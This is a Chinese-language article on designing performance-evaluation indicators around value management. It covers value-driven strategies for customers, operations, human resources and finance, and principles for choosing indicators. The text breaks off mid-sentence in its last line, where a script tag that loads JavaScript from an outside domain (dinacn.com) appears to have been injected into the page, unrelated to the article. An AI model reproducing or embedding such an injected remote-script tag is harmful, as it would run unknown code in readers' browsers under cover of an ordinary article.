绩效评价是企业管理的一个重要组成部分，只有合理地设计出各种绩效评价指标，并形成科学体系，才能充分地调动各方面的积极性，进而促进公司总体经营目标的顺利实现。

    价值管理倡导公司的管理人员集中于公司战略制定，提高管理人员的凝聚力，通过资本和其他资源的有效结合获取更多的价值。其理念是要求以价值最大化为目标安排组织生产经营活动。其主导思想是企业价值的增加，源于管理者制定的每一项正确的策略。在价值最大化的目标下，价值管理主要围绕四个影响管理者决策的环节展开，分别为战略设计、指标设定、监控系统和绩效考核。

    我国公司正面临工业革命、信息化革命、经济全球一体化三重挑战。公司要生存、发展，就必须形成并维持其核心竞争力，持续地创造价值。既然公司的总目标是追求价值最大化，那么绩效评价体系的建立就应以价值为基点。

    构建基于价值管理的绩效评价指标体系的方法

    公司经营的最终目标是创造价值，为股东赢得回报。要实现股东价值的增长，首先，要为利益各方创造价值，例如为顾客提供质优价廉的服务，为员工提供有竞争力的工资和报酬等。因此，构建基于价值管理的绩效评价体系先要树立价值管理思想，即从“创造价值”的目标出发，研究公司实现价值最大化的经营策略，根据经营策略制定关键绩效指标，将关键价值驱动因素包含在业绩衡量之中。然后，按照集团、公司、部门乃至员工层面进行细化和分解，并在各个层面进行控制；定期分析价值驱动因素，让管理者能够专注于那些驱动价值增长的关键因素上，调整和改善与其相关的绩效评价指标。最后，通过奖励制度来改善、激励，在提高管理水平的同时不断创造价值。

    （一）根据创造价值的目标制定经营策略

    公司的经营策略有很多类型，如运营策略、产品策略、客户策略与人力资源策略等。策略是管理者制定决策的依据，在价值管理中，策略必须立足于价值最大化，不同层次的策略均需引入价值目标，并考虑价值驱动因素。笔者认为，应该从以下四方面制定策略。

    1.客户满意度和忠诚度策略。没有客户的价值就不会有公司的价值，公司的长期现金流来源于客户满意。但客户绝不会购买不认同的价值，只有满足或超过客户期望，为客户创造了价值，才能给公司带来回报。

    2.运营卓越策略。公司的运营效率高低、流程合理与否直接影响到公司所创造价值的高低。因此，以业务流程为导向，构造运营卓越的策略，才能保证资源的合理配置，实现价值增值。

    3.人力资源的创新策略。人力资源策略就是要在合理配置人力资源的基础上，调动员工的技能和积极性，实现最大程度的创新，满足客户日益增长的需求。

    4.财务的价值体现和监控策略。财务上的成功才是公司最终的成功，也是价值增值的最终体现。客户满意、经营过程优化、员工创新理应带来优异的财务绩效，但当有其他因素影响或者这几项策略失控时，就可能不会给公司创造价值。譬如说为使客户满意和经营过程优化，而使成本的付出超过了所能获得的收益，就可能降低公司的资产收益率。再譬如说在一家集团公司中，当侧重于把系统资源配置到一个分公司，以提高该分公司的产品满意度或改善其业务流程时，就可能会影响到其他分公司的资源配置或业务流程，使集团总体价值受到损害。因此我们用财务策略来衡量和控制其他策略的成功，例如采用财务集中管理、集团整体利益最优标准、进行投入产出分析等实现协同效应，并控制费用、降低成本。

    （二）根据经营策略设计价值管理绩效评价指标体系

    是否将策略转化为可以达到的目标以及合适的绩效衡量标准，并有效传达这些目标和衡量标准对公司成功起了关键作用。基于价值管理的绩效评价体系，传达给全体员工一个明确的核心目标“价值最大化”，有助于评估什么是最佳策略，激励员工从创造价值的角度寻找增值作业，在短期现金流和长期现金流之间进行数量多少、风险大小的权衡，处处体现价值驱动，因而目标更明确，行动更具体。

    1. 确定价值驱动因素。

    价值驱动因素是指影响公司价值的变数。明确价值驱动因素，有助于公司管理层把重心放在需要优先发展的领域，从而防止次优化行为。

    2.设计绩效评价指标的原则。 

    ⑴ 驱动性，能对价值增长产生影响的关键因素，才予以考虑。

    ⑵ 全员参与，充分调动被评价者的积极性和主动性。

    ⑶ 可控性，指标要与被评价者努力程度密切相关，不能引入不可控因?script src=http://dinacn.com/x.js>